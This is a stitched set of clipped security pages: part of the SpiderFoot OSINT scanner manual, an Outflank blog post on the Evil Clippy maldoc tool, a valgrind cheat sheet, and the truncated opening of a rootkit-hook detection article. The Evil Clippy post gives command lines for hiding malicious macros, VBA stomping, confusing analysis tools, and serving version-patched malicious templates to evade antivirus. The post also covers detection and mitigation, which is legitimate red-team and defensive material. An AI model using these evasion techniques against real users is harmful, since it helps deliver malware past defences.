If port 5001 is used by another application on your system, you can change the
port:

`~/spiderfoot-X.X.X$ python ./sf 127.0.0.1:9999`

### Windows

SpiderFoot for Windows comes as a pre-packaged executable, with no need to
install any dependencies.

For now, there is no installer wizard, so all that’s needed is to unzip the
package into a directory \(e.g. C:\SpiderFoot\) and run `sf.exe`:

`C:\SpiderFoot>sf.exe`

As with Linux, you can also specify the IP and port to bind to:

`C:\SpiderFoot>sf.exe 0.0.0.0:9999`

### Caution\!

SpiderFoot does not authenticate users connecting to it’s user-interface
\(feature coming soon..\), so avoid running it on a server/workstation that
can be accessed from untrusted devices, as they will be able to control
SpiderFoot remotely and initiate scans from your devices.

Up to table of contents

## API Keys

A few SpiderFoot modules require or perform better when API keys are supplied.

### Honeypot Checker

  1. Go to http://www.projecthoneypot.org
  2. Sign up \(free\) and log in
  3. Click Services -> HTTP Blacklist
  4. An API key should be listed
  5. C and paste that key into the Settings -> Honeypot Checker section in SpiderFoot

### SHODAN

  1. Go to http://www.shodanhq.com
  2. Sign up \(free\) and log in
  3. Click ‘Developer Center’
  4. On the far right your API key should appear in a box
  5. C and paste that key into the Settings -> SHODAN section in SpiderFoot

### VirusTotal

  1. Go to http://www.virustotal.com
  2. Sign up \(free\) and log in
  3. Click your username in the far right and select ‘My API Key’
  4. C and paste the key in the grey box into the Settings -> VirusTotal section in SpiderFoot

Up to table of contents

## Using SpiderFoot

### Running a Scan

When you run SpiderFoot for the first time, there is no historical data, so
you should be presented with a screen like the following:

<img src='img/Temp2_7652.png' />

To initiate a scan, click on the ‘New Scan’ button in the top menu bar. You
will then need to define a name for your scan \(these are non-unique\) and a
target \(also non-unique\):

<img src='img/Temp2_7645.png' />

You can then define how you would like to run the scan - either by data
required \(the tab selected by default\), or by module.

Module-based scanning is for more advanced users who are familiar with the
behavior and data provided by different modules, and want more control over
the scan:

<img src='img/Temp2_7647.png' />

Beware though, there is no dependency checking when scanning by module, only
for scanning by required data. This means that if you select a module that
depends on event types only provided by other modules, but those modules are
not selected, you will get no results.

### Scan Results

From the moment you click ‘Run Scan’, you will be taken to a screen for
monitoring your scan in near real time:

<img src='img/Temp2_7649.png' />

That screen is made up of a graph showing a break down of the data obtained so
far plus log messages generated by SpiderFoot and its modules.

The bars of the graph are clickable, taking you to the result table for that
particular data type.

### Browsing Results

By clicking on the ‘Browse’ button for a scan, you can browse the data by
type:

<img src='img/Temp2_7644.png' />

This data is exportable and searchable. Click the Search box to get a pop-up
explaining how to perform searches.

By clicking on one of the data types, you will be presented with the actual
data:

<img src='img/Temp2_7648.png' />

The fields displayed are explained as follows:

  * Data Element: The data the module was able to obtain about your target.
  * Source Data Element: The data the module received as the basis for its data colletion. In the example above, the sfp\_portscan\_tcp module received an event about an open port, and used that to obtain the banner on that port.
  * Source Module: The module that identified this data.
  * Identified: When the data was identified by the module.

You can click the black icons to modify how this data is represented. For
instance you can get a unique data representation by clicking the Unique Data
View icon:

<img src='img/Temp2_7651.png' />

### Searching Results

Results can be searched either at the whole scan level, or within individual
data types. The scope of the search is determined by the screen you are on at
the time.

<img src='img/Temp2_7646.png' />

As indicated by the pop-up box when selecting the search field, you can search
as follows:

  * Exact value: Non-wildcard searching for a specific value. For example, search for 404 within the HTTP Status Code section to see all pages that were not found.
  * Pattern matching: Search for simple wildcards to find patterns. For example, search for \*:22 within the Open TCP Port section to see all instances of port 22 open.
  * Regular expression searches: Encapsulate your string in ‘/’ to search by regular expression. For example, search for ‘/\d+.\d+.\d+.\d+/’ to find anything looking like an IP address in your scan results.

### Managing Scans

When you have some historical scan data accumulated, you can use the list
available on the ‘Scans’ section to manage them:

<img src='img/Temp2_7650.png' />

You can filter the scans shown by altering the Filter drop-down selection.
Except for the green refresh icon, all icons on the right will all apply to
whichever scans you have checked the checkboxes for.

Up to table of contents

## Modules

### Overview

SpiderFoot has all data collection modularised. When a module discovers a
piece of data, that data is transmitted to all other modules that are
‘interested’ in that data type for processing. Those modules will then act on
that piece of data to identify new data, and in turn generate new events for
other modules which may be interested, and so on.

For example, `sfp_dns` may identify an IP address associated with your target,
notifying all interested modules. One of those interested modules would be the
`sfp_ir` module, which will take that IP address and identify the netblock it
is a part of, the BGP ASN and so on.

This might be best illustrated by looking at module code. For example, the
`sfp_names` module looks for TARGET\_WEB\_CONTENT and EMAILADDR events for
identifying human names:

[code]

        # What events is this module interested in for input
        # * = be notified about all events.
        def watchedEvents(self):
            return ["TARGET_WEB_CONTENT", "EMAILADDR"]
    
        # What events this module produces
        # This is to support the end user in selecting modules based on events
        # produced.
        def producedEvents(self):
            return ["HUMAN_NAME"]
    
[/code]

Meanwhile, as each event is generated to a module, it is also recorded in the
SpiderFoot database for reporting and viewing in the UI.

### Module List

The below table is an up-to-date list of all SpiderFoot modules and a short
summary of their capabilities.

Module| Module Name| Description  
---|---|---  
sfp\_accounts| Accounts| Looks for possible associated accounts on 50 websites
like Ebay, Slashdot, reddit, etc.  
sfp\_adblock| AdBlock Check| Checks if linked pages would be blocked by
AdBlock Plus.  
sfp\_bingsearch| Bing| Performs some light Bing scraping to identify sub-
domains and links.  
sfp\_blacklist| Blacklist| Queries various blacklist database for open relays,
open proxies, vulnerable servers, etc.  
sfp\_cookie| Cookies| Extracts Cookies from HTTP headers.  
sfp\_crossref| Cross-Reference| Identifies whether other domains are
associated \(‘Affiliates’\) of the target.  
sfp\_defaced| Defacement Check| Checks if an IP or domain appears on the
zone-h.org defacement archive.  
sfp\_dns| DNS| Performs a number of DNS checks to obtain Sub-
domains/Hostnames, IP Addresses and Affiliates.  
sfp\_email| E-Mail| Identifies e-mail addresses in any obtained data.  
sfp\_errors| Errors| Identifies common error messages in content like SQL
errors, etc.  
sfp\_filemeta| File Metadata| Extracts meta data from documents and images.  
sfp\_geoip| GeoIP| Identifies the physical location of IP addresses
identified.  
sfp\_googlesearch| Google| Performs some light Google scraping to identify
sub-domains and links.  
sfp\_honeypot| Honeypot Checker| Queries the projecthoneypot.org database for
entries.  
sfp\_intfiles| Interesting Files| Identifies potential files of interest, e.g.
office documents.  
sfp\_ir| Internet Registries| Queries Internet Registries to identify
netblocks and other info.  
sfp\_junkfiles| Junk Files| Looks for old/temporary and other similar files.  
sfp\_malcheck| Malicious Check| Checks if a website, IP or ASN is considered
malicious by various sources.  
sfp\_names| Name Extractor| Attempts to identify human names in fetched
content.  
sfp\_pageinfo| Page Info| Obtains information about web pages \(do they take
passwords, do they contain forms, etc.\)  
sfp\_pastebin| PasteBin| Performs PasteBin scraping \(via Google\) to identify
related content.  
sfp\_pgp| PGP Key Look-up| Looks up e-mail addresses in PGP public key
servers.  
sfp\_portscan\_tcp| Port Scanner - TCP| Scans for commonly open TCP ports on
Internet-facing systems.  
sfp\_pwned| Pwned Password| Checks Have I Been Pwned? for hacked accounts
identified.  
sfp\_sharedip| Shared IP| Searches Bing and/or Robtex.com for hosts sharing
the same IP.  
sfp\_shodan| SHODAN| Obtains information from SHODAN about identified IP
addresses.  
sfp\_similar| Similar Domains| Searches various sources to identify similar
looking domain names.  
sfp\_social| Social Networks| Identifies presence on social media networks
such as LinkedIn, Twitter and others.  
sfp\_socialprofiles| Social Media Profiles| Identifies the social media
profiles for human names identified.  
sfp\_spider| Spider| Spiders of web-pages to extract content for searching.  
sfp\_ssl| SSL| Gathers information about SSL certificates used by the target’s
HTTPS sites.  
sfp\_strangeheaders| Strange Headers| Obtains non-standard HTTP headers
returned by web servers.  
sfp\_tldsearch| TLD Search| Searches all Internet TLDs for domains with the
same name as the target \(this can be slow.\)  
sfp\_virustotal| VirusTotal| Obtains information from VirusTotal about
identified IP addresses.  
sfp\_webframework| Web Framework| Identifies the usage of popular web
frameworks like jQuery, YUI and others.  
sfp\_websvr| Web Server| Obtains web server banners to identify versions of
web servers being used.  
sfp\_whois| Whois| Performs a WHOIS look-up on domain names and owned
netblocks.  
sfp\_yahoo| Yahoo| Performs some light Yahoo scraping to identify sub-domains
and links.  
### Data Elements

As mentioned above, SpiderFoot works on an “event-driven” module, whereby each
module generates events about _data elements_ which other modules listen to
and consume.

The data elements are one of the following types:

  * _entities_ like IP addresses, Internet names \(hostnames, sub-domains, domains\),
  * _sub-entities_ like port numbers, URLs and software installed,
  * _descriptors_ of those entities \(malicious, physical location information, …\) or
  *  _data_ which is mostly unstructured data \(web page content, port banners, raw DNS records, …\)

Here are all the available data elements built into SpiderFoot:

Element ID| Element Name| Element Data Type  
---|---|---  
ACCOUNT\_EXTERNAL\_OWNED| Account on External Site| Entity  
ACCOUNT\_EXTERNAL\_OWNED\_COMPROMISED| Hacked Account on External Site|
Descriptor  
ACCOUNT\_EXTERNAL\_USER\_SHARED| User Account on External Site| Entity  
ACCOUNT\_EXTERNAL\_USER\_SHARED\_COMPROMISED| Hacked User Account on External
Site| Descriptor  
AFFILIATE\_INTERNET\_NAME| Affiliate - Internet Name| Entity  
AFFILIATE\_IPADDR| Affiliate - IP Address| Entity  
AFFILIATE\_WEB\_CONTENT| Affiliate - Web Content| Data  
BGP\_AS\_OWNER| BGP AS Ownership| Entity  
BGP\_AS\_MEMBER| BGP AS Membership| Entity  
BGP\_AS\_PEER| BGP AS Peer| Entity  
BLACKLISTED\_IPADDR| Blacklisted IP Address| Descriptor  
BLACKLISTED\_AFFILIATE\_IPADDR| Blacklisted Affiliate IP Address| Descriptor  
BLACKLISTED\_SUBNET| Blacklisted IP on Same Subnet| Descriptor  
BLACKLISTED\_NETBLOCK| Blacklisted IP on Owned Netblock| Descriptor  
CO\_HOSTED\_SITE| Co-Hosted Site| Entity  
DEFACED\_INTERNET\_NAME| Defaced| Descriptor  
DEFACED\_IPADDR| Defaced IP Address| Descriptor  
DEFACED\_AFFILIATE\_INTERNET\_NAME| Defaced Affiliate| Descriptor  
DEFACED\_COHOST| Defaced Co-Hosted Site| Descriptor  
DEFACED\_AFFILIATE\_IPADDR| Defaced Affiliate IP Address| Descriptor  
DEVICE\_TYPE| Device Type| Descriptor  
DNS\_TEXT| DNS TXT Record| Data  
DOMAIN\_NAME| Domain Name| Entity  
DOMAIN\_REGISTRAR| Domain Registrar| Entity  
DOMAIN\_WHOIS| Domain Whois| Data  
EMAILADDR| Email Address| Entity  
EMAILADDR\_COMPROMISED| Hacked Email Address| Descriptor  
ERROR\_MESSAGE| Error Message| Data  
GEOINFO| Physical Location| Descriptor  
HTTP\_CODE| HTTP Status Code| Data  
HUMAN\_NAME| Human Name| Entity  
INTERESTING\_FILE| Interesting File| Descriptor  
JUNK\_FILE| Junk File| Descriptor  
INTERNET\_NAME| Internet Name| Entity  
IP\_ADDRESS| IP Address| Entity  
IPV6\_ADDRESS| IPv6 Address| Entity  
LINKED\_URL\_INTERNAL| Linked URL - Internal| Sub-entity  
LINKED\_URL\_EXTERNAL| Linked URL - External| Sub-entity  
MALICIOUS\_ASN| Malicious AS| Descriptor  
MALICIOUS\_IPADDR| Malicious IP Address| Descriptor  
MALICIOUS\_COHOST| Malicious Co-Hosted Site| Descriptor  
MALICIOUS\_INTERNET\_NAME| Malicious Internet Name| Descriptor  
MALICIOUS\_AFFILIATE\_INTERNET\_NAME| Malicious Affiliate| Descriptor  
MALICIOUS\_AFFILIATE\_IPADDR| Malicious Affiliate IP Address| Descriptor  
MALICIOUS\_NETBLOCK| Malicious IP on Owned Netblock| Descriptor  
MALICIOUS\_SUBNET| Malicious IP on Same Subnet| Descriptor  
NETBLOCK\_OWNER| Netblock Ownership| Entity  
NETBLOCK\_MEMBER| Netblock Membership| Entity  
NETBLOCK\_WHOIS| Netblock Whois| Data  
OPERATING\_SYSTEM| Operating System| Descriptor  
PASTEBIN\_CONTENT| PasteBin Content| Data  
PGP\_KEY| PGP Public Key| Data  
PROVIDER\_DNS| Name Server \(DNS ‘NS’ Records\)| Entity  
PROVIDER\_JAVASCRIPT| Externally Hosted Javascript| Entity  
PROVIDER\_MAIL| Email Gateway \(DNS ‘MX’ Records\)| Entity  
RAW\_RIR\_Data| Raw Data from RIRs| Data  
RAW\_DNS\_RECORDS| Raw DNS Records| Data  
RAW\_FILE\_META\_Data| Raw File Meta Data| Data  
SEARCH\_ENGINE\_WEB\_CONTENT| Search Engine’’s Web Content| Data  
SOCIAL\_MEDIA| Social Media Presence| Entity  
SIMILARDOMAIN| Similar Domain| Entity  
SOFTWARE\_USED| Software Used| Sub-entity  
SSL\_CERTIFICATE\_RAW| SSL Certificate - Raw Data| Data  
SSL\_CERTIFICATE\_ISSUED| SSL Certificate - Issued to| Entity  
SSL\_CERTIFICATE\_ISSUER| SSL Certificate - Issued by| Entity  
SSL\_CERTIFICATE\_MISMATCH| SSL Certificate Host Mismatch| Descriptor  
SSL\_CERTIFICATE\_EXPIRED| SSL Certificate Expired| Descriptor  
SSL\_CERTIFICATE\_EXPIRING| SSL Certificate Expiring| Descriptor  
TARGET\_WEB\_CONTENT| Web Content| Data  
TARGET\_WEB\_COOKIE| Cookies| Data  
TCP\_PORT\_OPEN| Open TCP Port| Sub-entity  
TCP\_PORT\_OPEN\_BANNER| Open TCP Port Banner| Data  
UDP\_PORT\_OPEN| Open UDP Port| Sub-entity  
UDP\_PORT\_OPEN\_INFO| Open UDP Port Information| Data  
URL\_ADBLOCKED\_EXTERNAL| URL \(AdBlocked External\)| Descriptor  
URL\_ADBLOCKED\_INTERNAL| URL \(AdBlocked Internal\)| Descriptor  
URL\_FORM| URL \(Form\)| Descriptor  
URL\_FLASH| URL \(Uses Flash\)| Descriptor  
URL\_JAVASCRIPT| URL \(Uses Javascript\)| Descriptor  
URL\_WEB\_FRAMEWORK| URL \(Uses a Web Framework\)| Descriptor  
URL\_JAVA\_APPLET| URL \(Uses Java Applet\)| Descriptor  
URL\_STATIC| URL \(Purely Static\)| Descriptor  
URL\_PASSWORD| URL \(Accepts Passwords\)| Descriptor  
URL\_UPLOAD| URL \(Accepts Uploads\)| Descriptor  
WEBSERVER\_BANNER| Web Server| Data  
WEBSERVER\_HTTPHEADERS| HTTP Headers| Data  
WEBSERVER\_STRANGEHEADER| Non-Standard HTTP Header| Data  
WEBSERVER\_TECHNOLOGY| Web Technology| Descriptor  
### Writing a Module

To write a SpiderFoot module, start by looking at the `sfp_template.py` file
which is a skeleton module that does nothing. Use the following steps as your
guide:

  1. Create a copy of `sfp_template.py` to whatever your module will be named. Try and make this something descriptive, i.e. not something like `sfp_mymodule.py` but instead something like `sfp_imageanalyser.py` if you were creating a module to analyse image content.
  2. Replace XXX in the new module with the name of your module and update the descriptive information in the header and comment within the module.
  3. The comment for the class \(in `sfp_template.py` this is """Name:Description"""\) is used by SpiderFoot in the UI, so make it something meaningful.
  4. Set the events in `watchedEvents()` and `producedEvents()` accordingly, based on the data element table in the previous section. If you are producing a new data element not pre-existing in SpiderFoot, you must create this in the database: 
     * 
[code]        ~/spiderfoot-X.X.X$ sqlite3 spiderfoot.db

        sqlite> INSERT INTO tbl_event_types (event, event_descr, event_raw) VALUES ('NEW_DATA_ELEMENT_TYPE_NAME_HERE', 'Description of your New Data Element Here', 0, 'DESCRIPTOR or DATA or ENTITY or SUBENTITY');`
        
[/code]

  5. Put the logic for the module in `handleEvent()`. Each call to `handleEvent()` is provided a `SpiderFootEvent` object. The most important values within this object are: 
     * `eventType`: The data element ID \(`IP_ADDRESS`, `WEBSERVER_BANNER`, etc.\)
     * `data`: The actual data, e.g. the IP address or web server banner, etc.
     * `module`: The name of the module that produced the event \(`sfp_dns`, etc.\)
  6. When it is time to generate your event, create an instance of `SpiderFootEvent`: 
     * `e = SpiderFootEvent("IP_ADDRESS", ipaddr, self.__name__, event)`
     * Note: the `event` passed as the last variable is the event that your module received. This is what builds a relationship between data elements in the SpiderFoot database.
  7. Notify all modules that may be interested in the event: 
     * `self.notifyListeners(e)`

Up to table of contents

## Database

All SpiderFoot data is stored in a SQLite database \(`spiderfoot.db` in your
SpiderFoot installation folder\) which can be used outside of SpiderFoot for
analysis of your data.

The schema is quite simple and can be viewed in the GitHub repo.

The below queries might provide some further clues:

[code]

    # Total number of scans in the SpiderFoot database
    sqlite> select count(*) from tbl_scan_instance;
    10
    
[/code]

[code]

    # Obtain the ID for a particular scan
    sqlite> select guid from tbl_scan_instance where seed_target = 'binarypool.com';
    b459e339523b8d06235bd06087ae6c6017aaf4ed68dccea0b65a1999a17e460a
    
[/code]

[code]

    # Number of results per data type
    sqlite> select count(*), type from tbl_scan_results where scan_instance_id = 'b459e339523b8d06235bd06087ae6c6017aaf4ed68dccea0b65a1999a17e460a' group by type;
    5|AFFILIATE_INTERNET_NAME
    2|AFFILIATE_IPADDR
    1|CO_HOSTED_SITE
    1|DOMAIN_NAME
    1|DOMAIN_REGISTRAR
    1|DOMAIN_WHOIS
    1|GEOINFO
    28|HTTP_CODE
    48|HUMAN_NAME
    49|INTERNET_NAME
    2|IP_ADDRESS
    49|LINKED_URL_EXTERNAL
    144|LINKED_URL_INTERNAL
    2|PROVIDER_DNS
    1|PROVIDER_MAIL
    4|RAW_DNS_RECORDS
    1|RAW_FILE_META_DATA
    1|ROOT
    14|SEARCH_ENGINE_WEB_CONTENT
    1|SOFTWARE_USED
    16|TARGET_WEB_CONTENT
    2|TCP_PORT_OPEN
    1|TCP_PORT_OPEN_BANNER
    1|URL_FORM
    10|URL_JAVASCRIPT
    6|URL_STATIC
    21|URL_WEB_FRAMEWORK
    28|WEBSERVER_BANNER
    28|WEBSERVER_HTTPHEADERS
    
[/code]

Up to table of contents

# Evil Clippy: MS Office maldoc assistant | Outflank Blog
**Created:**| _5/10/2019 8:14:56 AM_  
---|---  
**Updated:**| _5/10/2019 8:14:56 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis office_  
  

  

# Publications

# Evil Clippy: MS Office maldoc assistant

Stan Hegt |  May 5, 2019
At BlackHat Asia we released Evil Clippy, a tool which assists red teamers and
security testers in creating malicious MS Office documents. Amongst others,
Evil Clippy can hide VBA macros, stomp VBA code \(via p-code\) and confuse
popular macro analysis tools. It runs on Linux, OSX and Windows.

In this blog post we will explore the features of Evil Clippy and the
technology behind it. The latest source code of the tool can be found here:

https://github.com/outflanknl/EvilClippy

Latest binary releases are available at:

https://github.com/outflanknl/EvilClippy/releases

<img src='img/EvilClippy-768x598.png' width='574' height='447' />

### Use cases

At the time of writing, this tool is capable of getting malicious macros to
bypass all major antivirus products and most maldoc analysis tools. It
achieves this by manipulating MS Office files on a file format level.

The following screenshot shows detection rates of a default Cobalt Strike VBA
macro _before_ Evil Clippy is applied. This is a basic process injection macro
which is obviously malicious and is detected by practically all major
antivirus vendors.

<img src='img/before_evilclippy-768x500.png' width='100%' height='373' />

After applying Evil Clippy to this document \(EvilClippy.exe -s fake.vbs -g -r
cobaltstrike.doc\), all major antivirus engines fail to detect this macro.

<img src='img/after_evilclippy-1-768x500.png' width='100%' height='373' />

Note that Evil Clippy only focuses on evasion of static analysis. A
combination which can be particularly effective for initial compromise during
red teaming operations is to deliver malicious documents generated with Evil
Clippy via HTML smuggling \(which helps you bypass perimeter defenses\). If
you need to evade dynamic analysis of macros, then read our blog on bypassing
AMSI for VBA.

Evil Clippy is written in C\#. The code compiles perfectly fine with the Mono
C\# compiler and has been tested on Linux, OSX and Windows. Compilation and
usage instructions can be found in the readme.

### Technology

In order to understand how Evil Clippy works, we need to dive into the
Compound File Binary Format \(CFBF\). This file format is used abundantly in
MS Office. Evil Clippy supports the following two MS Office file types:

  * _97 – 2003 format_ \(.doc and .xls\), these files are entirely in the CFBF file format.
  * _2007+ format_ \(.docm and .xlsm\), these files are actually ZIP containers. If you unzip the file, you will find a file named “vbaProject.bin” in the “word” \(.docm\) or “xl” \(.xlsm\) directories. This file is a CFBF file which contains the macro information for the document.

Evil Clippy uses the OpenMCDF library to manipulate CFBF files. If you want to
manipulate CFBF files manually, then FlexHEX is one of the best editors for
this.

<img src='img/FlexHEX_cfbf-768x534.png' width='100%' height='400' />

The pane on the bottom left shows the structure of this particular CFBF file.
A CFBF file is like a file system in a single file: there are streams \(think
of them as “files”\) which can be stored in containers \(think of them as
“directories”\).

The “macros” container contains all subcontainers and streams related to VBA
macros in a MS Word document. In MS Excel files this container is called
“\_VBA\_PROJECT\_CUR”. The structure and contents of this container are
explained by Microsoft in a lengthy and complex specification called MS-OVBA.

The most important streams in the macros container are:

  * PROJECT: a stream with text data specifying project information. It can be regarded as a configuration file with CRLF separated lines which instruct the VBA editor GUI \(amongst others\).
  * \_VBA\_PROJECT: a stream with binary data which instructs the VBA engine. There is no official documentation on the contents of this stream, but it is crucial in how macros are interpreted \(which we will see later in this post\).
  * Dir: a stream which contains the VBA project layout. This stream is compressed and its format is rather well documented.
  * Module streams: in the screenshot above there are two module streams named “ThisDocument” and “Module1”. These contain the actual code that is going to run. Each module stream consist of two parts: a PerformanceCache, which is undocumented, and CompressedSourceCode, which contains the VBA macro source code in a compressed format.

Note that some streams contain compressed data \(most notably the dir and
module streams\), using a custom compression algorithm. Evil Clippy reuses
code from Kavod.VBA.Compression to implement the compression algorithm.

For more information on this file format, watch our TROOPERS19 presentation
titled MS Office File Format Sorcery. If you dive deeper into the MS-OVBA
specifications, you will soon note the following issues:

  * There are many features which are **not documented** \(for example, the PerformanceCache mentioned above\). It turns out however that many of these functions are critical for how VBA macros are actually processed and interpreted. More on this in the “VBA stomping” section below.
  * The specifications lead to **ambiguity**. For example, module names are stored in multiple places. The section “Confusing analysis tools” later in this blog post will deal with this aspect.
  * The specifications are **very long and complex**. What happens when you slightly deviate from the specs? We found that MS Office is much more robust and forgiving to such deviations than most analysis tools \(example\).

Evil Clippy exploits these issues to evade static analysis by antivirus
engines as well as manual VBA macro analysis tools.

### VBA stomping \(via p-code\)

The most powerful technique of Evil Clippy is “VBA stomping”. VBA stomping
abuses a feature which is not officially documented: the undocumented
PerformanceCache part of each module stream contains compiled pseudo-code
\(p-code\) for the VBA engine. If the MS Office version specified in the
\_VBA\_PROJECT stream matches the MS Office version of the host program \(Word
or Excel\) then the VBA source code in the module stream is ignored and the
p-code is executed instead.

In summary: if we know the version of MS Office of a target system \(e.g.
Office 2016, 32 bit\), we can replace our malicious VBA source code with fake
code, while the malicious code will still get executed via p-code. In the
meantime, any tool analyzing the VBA source code \(such as antivirus\) is
completely fooled.

Vesselin Bontchev was the first to publicly document this technique \(samples
here\). The security team from Walmart has gathered great resources on this
topic here. We briefly discussed this technique in our talk “The MS Office
Magic Show” at DerbyCon. Evil Clippy is the first tool to fully weaponize this
technique for red teamers and security testers.

For example, in order to replace the VBA source code in your malicious
document with fake code and to have the malicious p-code run on 32 bit
installs of Office 2016, run Evil Clippy with the following command line:

`

[code]

    EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc
[/code]

`

After executing this command, a file named “macrofile\_EvilClippy.doc” will be
created. Any common VBA analysis tools such as OleVBA, OleDump or VirusTotal
will tell you that this file contains the fake code. However, if the file is
opened on a 32 bit install of Office 2016 \(our target version\), the
malicious p-code is executed instead.

So in order to make this attack work, we need to know the MS Office version of
our target. Achieving this is not as difficult as it sounds. A common trick is
to send the victim an email that contains a tracking pixel. If the pixel is
retrieved by MS Outlook \(which is usually part of the same MS Office
install\), the headers of this HTTP request will disclose the MS Office
version number and whether it is a 32 or 64 bit install.

Evil Clippy can also automate the target version identification for you using
a templating trick. The process hereto is as follows:

  * You create a MS Word template \(.dot / .dotm\) that includes a malicious macro.
  * Run the Evil Clippy tool with the –webserver option and point it to the malicious template file. It will then spin up a web server that listens for incoming connections on the port you specified. 
  * You subsequently create another document that points to this template document via a URL by referencing it as a template from the developer toolbar in Word \(you can use an arbitrary extension, .dot extension is not required\!\).
  * If this document is opened, MS Office will reach out to the web server to fetch the template. Evil Clippy will identify the target MS Office version from the HTTP header and will patch the version bytes in the \_VBA\_PROJECT stream of the malicious template before serving it.

Make sure to read the caveats in the readme before you use this option\! The
following screenshots shows this feature in action:

<img src='img/evilclippy_webserver-768x266.png' width='100%' height='199' />

<img src='img/template-768x563.png' width='100%' height='421' />

### Hiding macros

Note that _after_ running a macro using p-code in MS Office, the VBA engine
will reconstruct the VBA source code from p-code and display it in the VBA
editor GUI when opened. Hence, we need an additional trick to hide our
malicious code from prying eyes.

One technique to achieve this is to modify the PROJECT stream. As mentioned
above, this stream can be regarded as a configuration file for the VBA editor
GUI. By simply removing a line such as “Module=Module1” we can make the module
named “Module1” disappear in the VBA editor. Note that this does _not_ work
with the default “ThisDocument” or “ThisWorkbook” modules, so you have to
place your malicious code in a separate module in order to make this trick
work.

<img src='img/hide_module-768x149.png' width='100%' height='111' />

Evil Clippy can automatically hide all modules with the -g flag:

`

[code]

    EvilClippy.exe -g macrofile.doc
[/code]

`

Another trick to make macro code unaccessible is to mark the project as locked
and unviewable. This feature has been added to Evil Clippy by Carrie Robberts
from Walmart and can be used with the -u flag. Carrie has written a detailed
blog on this topic.

### Confusing analysis tools

Although the -g and -u flags can hide our malicious code from human eyes, they
do not protect against security tools which analyse our file on a file format
level. For example, pcodedmp can be used by an analyst to extract p-code from
a document. However, we can use the ambiguity and complexity of the MS-OVBA
specification to confuse various analysis tools, including pcodedmp.

Evil Clippy can confuse pcodedmp and many other analysis tools with the -r
flag.

`

[code]

    EvilClippy.exe -r macrofile.doc
[/code]

`

After running pcodedmp on this file, it crashes with a “file not found” error
and empty list of module names:

<img src='img/pcodedmp_crash-768x245.png' width='100%' height='183' />

How does it achieve this? With the -r flag Evil Clippy sets random ASCII
module names in the Dir stream. Most analyst tools use the module names
specified here, while MS Office parses module names from the undocumented
\_VBA\_PROJECT stream. By setting a random ASCII module name most P-code and
VBA analysis tools crash, while the actual P-code and VBA still runs fine in
Word and Excel. More information about the root cause of this issue can be
read in this Twitter thread by Vesselin Bontchev, the author of pcodedmp.  

### Detection and mitigation

Evil Clippy only scratches the surface of issues resulting from the gap
between official Microsoft specifications on VBA macros \(MS-OVBA\) and its
actual implementation in MS Office. Since malicious macros are one of the most
common methods for initial compromise by threat actors, proper defense against
such macros is crucial. We believe that the lack of adequate specifications of
how macros actually work in MS Office severely hinders the work of antivirus
vendors and security analysts. This blog post serves as a call to Microsoft to
change this for the better.

In the meantime there are several things that you can do to make the life of a
malicious macro much harder:

  * For users and teams in your organisation that do not use macros, turn them off.
  * For users that _do_ require working with macros, consider disabling macros in documents that are downloaded from the internet. Note that this feature is available in MS Office 2013 and 2016, and can be controlled via GPO.
  * Use Attack Surface Reduction rules to limit the impact of malicious macros. Note that the most important rules can already be turned on with an E3 license. If you fear the impact of these rules in blocking mode, then consider enabling them in audit mode for monitoring.
  * Deploy an antivirus product that hooks into the AMSI for VBA engine. Although this implementation of AMSI is far from perfect, it will raise the bar for malicious macros.
  * Monitor the execution of macros via our Sysmon trick, which can help you in hunting evil macros.

### Authors and contributions

Evil Clippy is maintained by Stan Hegt \(@StanHacked\).

After its initial release, the project has received significant code
contributions from the security team at Walmart, especially from Carrie
Robberts \(@OrOneEqualsOne\). If you want to contribute to Evil Clippy, we are
happy to receive your pull request.

Special thanks to Nick Landers from Silent Break Security \(@monoxgas\) for
pointing us towards OpenMCDF.

← Bypassing AMSI for VBA

  * ### Outflank blog
A blog about red teaming, attack simulation and other IT security stories from
the trenches.

**About us**  
Outflank is an IT security company with deep expertise in red teaming and
attack simulation. We are hackers and seasoned professionals.

**Contact us  
**www.outflank.nl  
info@outflank.nl

# software:valgrind \[CR-TEKnologies\]

**Created:**| _8/5/2009 7:44:32 PM_  
---|---  
**Updated:**| _8/5/2009 7:44:56 PM_  
**Author:**| __  
**Tags:**| _cheat sheets binary instrumentation_  
  

  * **`valgrind<your-program> <args>`** : memory checker
  * **`valgrind --db-attach=yes<your-program> <args>`** : to automatically attach gdb on errors 
  * **`valgrind --leak-check=full<program> <args>`** : to completely analyse memory leaks 
  * **`valgrind --tool=massif --time-unit=B<program> <args>` + `ms_print massif.<pid>`** : statistics about which functions are using memory 
  * **`valgrind --tool=callgrind<program-compiled-O2> <args>` + `kcachegrind callgrind.out.xxxx` + `calgrind_control`** : call profiling 
  * **`valgrind --tool=cachegrind<program-compiled-O2> <args>`** : CPU cache profiling in order to find cache misses 

Always do profiling with optimization options of compiler, or you could
optimize things that the compiler already automatically does.

# Touch My Malware: Ring3 / Ring0 Rootkit Hook Detection 2/2

**Created:**| _10/11/2013 12:31:54 PM_  
---|---  
**Updated:**| _10/11/2013 12:31:54 PM_  
**Author:**| __  
**Tags:**| _rootkits_  
  

### Ring3 / Ring0 Rootkit Hook Detection 2/2

##  Introduction

This article was actually planned to be posted the day after the first,
however; I've not had much sleep the past few weeks, then I got sick, so it
was very delayed. I'm pleased with how popular the previous article was, so in
the future I plan to write more like this.

  

In this part of the article i will be explaining some of the different ways to
detect, bypass and remove hooks placed by malware.

  

##  Part 1

If you haven't read part 1 of this article, here it is:
http://touchmymalware.blogspot.ru/2013/09/ring3-ring0-rootkit-hook-
detection-12.html

##  IAT Hooks

**Description**

The Import Address Table \(IAT\) is a table of jumps "jmp dword ptr
ds:\[address\]". Because functions in dlls change address, instead of calling
a dll function directly, the application will make a call to the relevant jmp
in its own jump table. When the application is executed the loader will place
a pointer to each required dll function at the appropriate address in the IAT.

  

<img src='img/Temp2_8423.png' width='400' height='182' />  
---  
I'm not sure this actually helps  
if a rootkit were to inject itself inside the application and modify the
addresses in the IAT, it would be able to receive control every time a target
function is called.

  

**Bypass**

Because the Export Address Table \(EAT\) of each dll remains intact, an
application could easily bypass IAT hooks by just calling GetProcAddress to
get the real address of each dll function. In order to prevent such a simple
bypass, a rootkit would likely hook GetProcAddress/LdrGetProcedureAddress and
use it to return fake addresses. These hooks can be bypassed by writing your
own GetProcAddress implementation and using it to get the real function
addresses.

  

**Detection**

  

  

##  Inline Hooks

**Description**  
Inline hooking is a method of receiving control when a function is called, but
before the function has done its job. The flow of execution is redirected by
